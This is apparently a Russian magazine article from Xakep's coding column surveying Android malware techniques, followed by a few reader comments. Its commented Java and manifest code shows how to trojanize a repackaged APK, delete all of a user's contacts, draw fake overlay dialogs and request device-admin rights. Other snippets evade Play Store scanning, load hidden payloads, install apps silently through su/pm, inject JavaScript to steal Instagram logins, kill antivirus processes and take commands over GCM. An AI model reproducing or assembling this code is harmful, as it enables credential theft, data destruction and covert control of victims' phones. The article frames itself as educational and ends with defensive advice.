В наше время люди доверяют все больше личной информации смартфонам и планшетам. Просмотреть аккаунты в соцсетях, фотографии и почтовые сообщения, узнать банковские данные, местоположение и даже распорядок дня можно, получив доступ к данным смартфона. Злоумышленники используют ошибки в программном обеспечении, недокументированные возможности, а в большинстве случаев — людские слабости и пороки, чтобы внедрить малварь на устройство. Вредоносные программы становятся все хитрее и изворотливее, пытаясь скрыть свое присутствие. И если одни просто вываливают на пользователя кучу рекламы, то другие вовсе не так безобидны. Хорошенько обосновавшись на смартфоне, они шантажируют юзера, заставляя его платить за доступ к своим же данным, а то и следят за каждым его шагом и действием. О самых модных тенденциях в создании и распространении вирусов и пойдет речь в этой статье.

WARNING


Все описанные в статье моменты проиллюстрированы большим количеством откомментированного кода. Автор и редакция не несут ответственности за неправомерное использование информации из данного материала. Листинги представлены исключительно в образовательных целях!
 

Заражение

Самый простой и распространенный способ заражения — взять популярную программу, расковырять ее и вставить внутрь нехороший код. Затем запаковать и выдать за бесплатную версию или версию с дополнительными функциями. Такие программы «с сюрпризом» появляются не только в неофициальных магазинах приложений для Android, периодически они просачиваются и на официальный Play Market.

Реализуется такой подлог очень просто.

  1. Злоумышленник скачивает APK популярной программы с маркета, воспользовавшись, к примеру, этим сервисом.
  2. Распаковывает приложение утилитой apktool:

     apktool -d <имя файла приложения>
  3. Пишет код зловреда, например получатель широкоформатных уведомлений, который срабатывает после перезагрузки устройства и начинает посылать команды другим частям зловреда каждую секунду:

     public class VirusController extends BroadcastReciever {
       public void onReceive(Context context, Intent intent) {
         AlarmManager service = (AlarmManager)context.getSystemService(Context.ALARM_SERVICE);
         Intent i = new Intent(context, RunTrojan.class);
         i.setAction("android.trojan.action.EXTERMINATE");
         PendingIntent pending = PendingIntent.getBroadcast(context, 0, i, PendingIntent.FLAG_CANCEL_CURRENT);
         service.setInexactRepeating(AlarmManager.RTCWAKEUP, Calendar.getInstance().getTimeInMillis(), 1000, pending);
       }
     }
  4. Здесь один из модулей реагирует на событие android.trojan.action.EXTERMINATE и уничтожает все контактные данные пользователя:

     public class ExterminateModule extends BroadcastReceiver {
       public void onReceive(Context context, Intent intent) {
         ContentResolver contentResolver = context.getContentResolver();
         Cursor cursor = contentResolver.query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);
         while (cursor.moveToNext()) {
             String lookupKey = cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts.LOOKUP_KEY));
             Uri uri = Uri.withAppendedPath(ContactsContract.Contacts.CONTENT_LOOKUP_URI, lookupKey);
             contentResolver.delete(uri, null, null);
         }
       }
     }

Теперь хакеру нужно скомпилировать код вируса, а затем распаковать, используя все тот же apktool. Затем он добавляет smali-файлы вируса к smali-файлам программы-жертвы. Подправляет AndroidManifest, включает нужные разрешения и объявления получателей уведомлений:

<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.WRITE_CONTACTS"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
...
<receiver android:name="android.trojan.ExterminateModule">
    <intent-filter>
        <action android:name="android.trojan.action.EXTERMINATE"/>
    </intent-filter>
</receiver>
<receiver android:name="android.trojan.VirusController">
    <intent-filter>
        <action android:name="android.intent.action.BOOTCOMPLETED"/>
    </intent-filter>
</receiver>

Осталось упаковать программу-жертву обратно все той же утилитой apktool, и приложение «с подарочком» готово.

apktool b <папка с приложением>

Если в качестве жертвы выбрать приложение с подходящими разрешениями, то оно не вызовет у пользователя ни малейших подозрений! Если же подобрать необходимые разрешения не получается, то вирусам приходится заставлять пользователя дать им расширенные права, показывая свой диалог поверх системного.

Например, так поступают Trojan-Banker.AndroidOS.Asacub и Trojan-SMS.AndroidOS.Tiny.aw. Да-да, Android позволяет создавать окна, которые будут отображаться поверх всех остальных приложений и диалогов, в том числе и системных. Для этого понадобится всего лишь создать нужный View и добавить его в WindowManager:

WindowManager wm = (WindowManager) getSystemService(Context.WINDOW_SERVICE);
WindowManager.LayoutParams params = new WindowManager.LayoutParams(
            width, height,
            WindowManager.LayoutParams.TYPE_SYSTEM_ERROR,
            WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE |
                    WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL,
            PixelFormat.TRANSLUCENT);
params.gravity = Gravity.LEFT | Gravity.TOP;
params.x = left;
params.y = top;
wm.addView(overlayedText, params);

Флаг TYPE_SYSTEM_ERROR злоумышленники обычно используют, чтобы перекрыть системное окно своим View, флаг TYPE_SYSTEM_OVERLAY — чтобы перекрыть только кнопку системного окна своим View с нужным текстом.

Запросить права администратора устройства можно с помощью интента, где VirusDeviceAdminReceiver наследует DeviceAdminReceiver:

Intent intent = new Intent(DevicePolicyManager.ACTION_ADD_DEVICE_ADMIN);
intent.putExtra(DevicePolicyManager.EXTRA_DEVICE_ADMIN, new ComponentName(this, VirusDeviceAdminReceiver.class));
intent.putExtra(DevicePolicyManager.EXTRA_ADD_EXPLANATION, "Объяснение, зачем нужно предоставить права этой программе");
startActivityForResult(intent, REQUEST_CODE_ENABLE_ADMIN);

В AndroidManifest нужно объявить слушатель VirusDeviceAdminReceiver, а также прописать ресурс virus_device_admin, в котором содержится информация о требуемых правах, и фильтр событий, на которые реагирует слушатель, в данном случае — получение админских прав:

<receiver android:name="VirusDeviceAdminReceiver"
          android:permission="android.permission.BIND_DEVICE_ADMIN">
    <meta-data android:name="android.app.device_admin" android:resource="@xml/virus_device_admin" />
    <intent-filter>
        <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
    </intent-filter>
</receiver>

И хотя в 5-й версии Андроида запретили показывать окна поверх системных сообщений, эта функциональность используется в таких вирусах, как Acecard, чтобы демонстрировать пользователю фейковые диалоги ввода кредитных данных поверх Play маркета, диалогов входа в соцсети и приложений для мобильного банкинга.

Чем ОС Android привлекает вирусописателей?

  • Открытым кодом. Всегда можно посмотреть, как работает та или иная системная утилита.
  • Распространенностью. Обновления безопасности поступают на разные модели устройств в разное время, многие вообще остаются без обновлений, что позволяет беспрепятственно использовать весьма несвежие уязвимости.
  • Несовершенством антивирусных программ. Сколько бы процессоров ни было в устройстве, антивирусы все равно значительно замедляют работу ОС, поэтому пользователи неохотно их ставят.
  • Слабой системой проверки приложений в маркете. Несмотря на все уверения специалистов Google о «многоступенчатой проверке», в маркет легко проникают клоны удаленных инфицированных программ, а к разработчикам таких программ не применяются никакие меры.
  • Отсутствием централизованного контроля за прошивками. Разработчик прошивки может беспрепятственно вставлять любой шпионский софт по своему усмотрению.

 

Обход сканеров

Времена свободного доступа любого приложения в Play Market подходят к концу. Ребята из Google сообразили, что надо принимать хоть какие-то меры, чтобы остановить нашествие огромного количества вирусов, и ввели систему проверки приложений. Создатели вирусов мгновенно отреагировали и начали вставлять механизмы обхода проверки.

Один из интересных методов — отложенный старт вредоносной активности. Например, приложение месяц ведет себя как обычная игрушка или справочник, тысячи пользователей скачивают его и оставляют восторженные отзывы, привлекая все большую аудиторию. А через некоторое время в приложении вдруг просыпается зло, и оно начинает показывать фейковые диалоги, скачивать и устанавливать нежелательный софт.

Другие вирусы, такие как семейство Leech, определяют свой IP-адрес в сети и, если он попадает в IP-диапазон, используемый Google, или же имя хоста айпишника содержит слова google, android, 1e100, сразу же прекращают работу, чтобы не вызывать подозрений у системы автоматической проверки. Причем делают они это по-хитрому, ведь если использовать стандартные средства Android, то придется запрашивать у пользователя дополнительные разрешения. Поэтому злоумышленники обращают свой взор на такие ресурсы, как ipinfo.io. Не составит труда загрузить страничку в строку и найти там нужную информацию:

URL url = new URL("http://ipinfo.io");
BufferedReader br = new BufferedReader(new InputStreamReader(url.openStream()));
while ( (line = br.readLine()) != null)
    // Анализ строки

Развиваются и методы обхода статического анализа кода. Один из способов — использовать динамическую загрузку библиотек с вредоносной нагрузкой. В результате само приложение выглядит вполне невинно. Для загрузки внешнего кода используется класс DexClassLoader, который умеет загружать классы из JAR- или APK-файлов в формате DEX.

DexClassLoader cl = new DexClassLoader(context.getAssets() + "/Plugins/virusmodule.jar",
   context.getDir("dex", Context.MODE_PRIVATE).getAbsolutePath(),
   null,
   getClassLoader());
Class libProviderClazz = cl.loadClass("org.virusfactory.lib.VirusLibraryProvider");
Object instance = libProviderClazz.newInstance();

После загрузки класса можно спокойно дергать его методы с помощью рефлексии. Внешнюю библиотеку можно как разместить в самом APK, так и скачать из Сети после установки. Чтобы еще больше усложнить обнаружение вредоносного кода, злоумышленники шифруют такие программные модули и дают им трудноугадываемые имена.

Некоторые вирусописатели идут дальше и выкладывают в маркет приложения, которые после установки скачивают и устанавливают вирусные аппликухи самостоятельно, маскируя их под системные утилиты. Так что, даже если пользователь удалит изначальное приложение, вирус будет преспокойно обитать на устройстве и дальше. Такой подход реализован, например, в приложении BrainTest.

Для установки новых приложений без ведома пользователя злоумышленники используют утилиту pm:

Process process = Runtime.getRuntime().exec(isRoot ? "su" : sh);
DataOutputStream os = new DataOutputStream(process.getOutputStream());
os.writeBytes("LD_LIBRARY_PATH=/vendor/lib:/system/lib pm install " + apkFilePath + '\n');

Чтобы использовать эту утилиту, приложение должно либо запрашивать разрешение android.permission.INSTALL_PACKAGES в манифесте, либо обладать правами рута. Проверить, установлено ли приложение, можно, воспользовавшись методом getPackageInfo класса PackageManager:

try {
    context.getPackageManager().getPackageInfo(packagename, PackageManager.GET_ACTIVITIES);
    // Приложение установлено
} catch (NameNotFoundException e) {
    // Приложение не установлено
}
 

Способы обогащения

Самый простой способ нажиться на бедных пользователях — заставить их просматривать рекламу. Например, приложение Who Viewed Me on Instagram обещает показать пользователю его тайных поклонников в инстаграме, а вместо этого ворует учетные данные и размещает кучу рекламы в профиле пользователя. Приложение использует возможность вызова методов Android-приложения из JavaScript-кода. Чтобы украсть учетную запись пользователя, вредонос просит пользователя залогиниться в своем окне с WebView, а после загрузки логин-страницы инстаграма добавляет кусочек своего кода к кнопке входа.

public void onPageFinished(Webview webView, String url) {
    if (url.indexOf("accounts/login") > 0 ) {
        StringBuilder buffer = new StringBuilder();
        // Цепляем наш обработчик для метода onsubmit
        buffer.append("document.getElementByTagName(\'form\')[0].onsubmit = function() {");
        // Находим все поля ввода
        buffer.append("var inputs = document.getElementByTagName(\'input\');");
        buffer.append("for (var i = 0; i < inputs.length; i++) {");
        // Находим поле с паролем
        buffer.append("if (inputs[i].type.toLowerCase() === \'password\') {inputPassword = inputs[i];}");
        // Находим поле с именем пользователя
        buffer.append("else if (inputs[i].type.toLowerCase() === \'username\') {inputUserName = inputs[i];}}");
        // Передаем данные в Андроид-приложение
        buffer.append("window.MYOBJECT.saveCredentials(inputUserName.value, inputPassword.value); retun true; }");
        webView.loadUrl("javascript:" + buffer.toString());
    }
}

Объявляем метод, который будет принимать учетную запись из JavaScript:

@JavaScriptInterface
public void saveCredentials(String username, String password) {
 // Передаем учетную запись на сервер злоумышленника
}

Следует отметить, что после удаления одной версии программы автор сразу же разместил аналогичную, лишь слегка изменив название. И она спокойно прошла контроль со стороны Play маркета! Похоже, что Большой Брат не так уж пристально следит за разработчиками. Между прочим, количество загрузок у подобных «полезных приложений» иногда переваливает за 100 тысяч! Так что, если приложение просит тебя залогиниться в соцсеть в своем окне, самое время насторожиться и вспомнить, что конкретно тебе известно об этом приложении.

Другой набирающий популярность способ обогащения — вирусы-вымогатели. Попав на устройство, они получают права рута, часто шифруют пользовательские данные и показывают окно с требованием выкупа, предотвращая попытки пользователя запустить другие приложения. Так ведут себя, к примеру, вирусы семейства Fusob.

Первоочередная задача программы-вымогателя — получить рут на устройстве жертвы. К сожалению простых пользователей, в Сети гуляет бесчисленное множество эксплоитов, позволяющих незаметно повысить права приложения до суперпользовательских. Например, Towelroot постоянно обновляется и совершенствуется своим создателем. Неплохую базу эксплоитов собрала группа Offensive Security, ну и конечно, все самые свежие уязвимости можно посмотреть на CVE.

Получив рут, зловред с помощью класса ActivityManager начинает контролировать работу других приложений, убивая нежелательные:

ActivityManager manager = (ActivityManager) getSystemService(ACTIVITY_SERVICE);
// Получаем список запущенных процессов в системе
List<ActivityManager.RunningAppProcessInfo> processes = manager.getRunningAppProcesses();
String packageName = "com.antivirus";
for (ActivityManager.RunningAppProcessInfo process : processes) {
    if (process.processName.equalsIgnoreCase(packageName)) {
        // Убиваем все фоновые процессы, связанные с этим пакетом
        manager.killBackgroundProcesses(packageName);
        // Убиваем основной процесс
        android.os.Process.killProcess(process.pid);
    }
}

Нередко для управления вирусом-вымогателем используется GCM — ребята из Google разработали идеальную систему для отправки команд приложению и получения от него ответов. Достаточно зарегистрироваться на сервере, предварительно получив токен для работы.

public class RegistrationIntentService extends IntentService {
    protected void onHandleIntent(Intent intent) {
        // Загружаем токен
        String token = InstanceID.getInstance(this).getToken(getString(R.string.gcm_defaultSenderId),
                GoogleCloudMessaging.INSTANCE_ID_SCOPE, null);
        // Регистрируемся на сервере
        sendRegistrationToServer(token);
    }

Теперь можно принимать любые команды, в том числе на обновление вируса, что дает злоумышленнику практически неограниченную власть.

public class VirusGcmListenerService extends GcmListenerService {
    public void onMessageReceived(String from, Bundle data) {
            String command = data.getString("command");
            if (command.equals("update")) {
                // Скачиваем обновление и устанавливаем свеженькую версию вируса
            }
    }
}

Есть и более безобидные способы обогащения. Например, популярное приложение «Фонарик» втихаря собирало данные о месторасположении пользователей, которые разработчик потом продавал рекламщикам для таргетирования рекламы.

 

Выводы

В этой статье мы разобрали все ключевые моменты кода, которые позволяют современной малвари реализовывать зловредные идеи своих плохих авторов. Обладающему этими знаниями программисту бояться нечего :), а что же делать простому пользователю? Если не хочется устанавливать кучу антивирусного софта на девайс, всегда можно скачать APK перед установкой и проверить его на наличие вирусов онлайн-утилитами, например тем же Вирустоталом. Ими же могут воспользоваться разработчики, чтобы удостовериться, что их новое приложение не будет принято за вирус.

Аватар

gogaworm

Автор рубрики КОДИНГ журнала «Хакер»

Check Also

Создан JavaScript-эксплоит для атак на DDR4

Ученые из Амстердамского свободного университета и Швейцарской высшей технической школы Цю…

4 комментария

  1. Аватар

    NightSun

    07.08.2016 в 16:50

    Автор статьи, как с вами связаться ?

  2. Аватар

    clicker314

    11.08.2016 в 10:00

    Я бы тоже связался с автором статьи и заплатил-бы ему за консультацию.

  3. Аватар

    WellFedCat

    13.08.2016 в 14:43

    Я не автор, но могу проконсультировать :))

Оставить мнение